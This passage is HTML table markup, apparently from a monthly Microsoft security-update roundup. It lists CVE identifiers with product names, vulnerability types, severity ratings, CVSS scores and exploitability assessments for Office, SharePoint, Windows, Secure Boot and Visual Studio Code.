  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
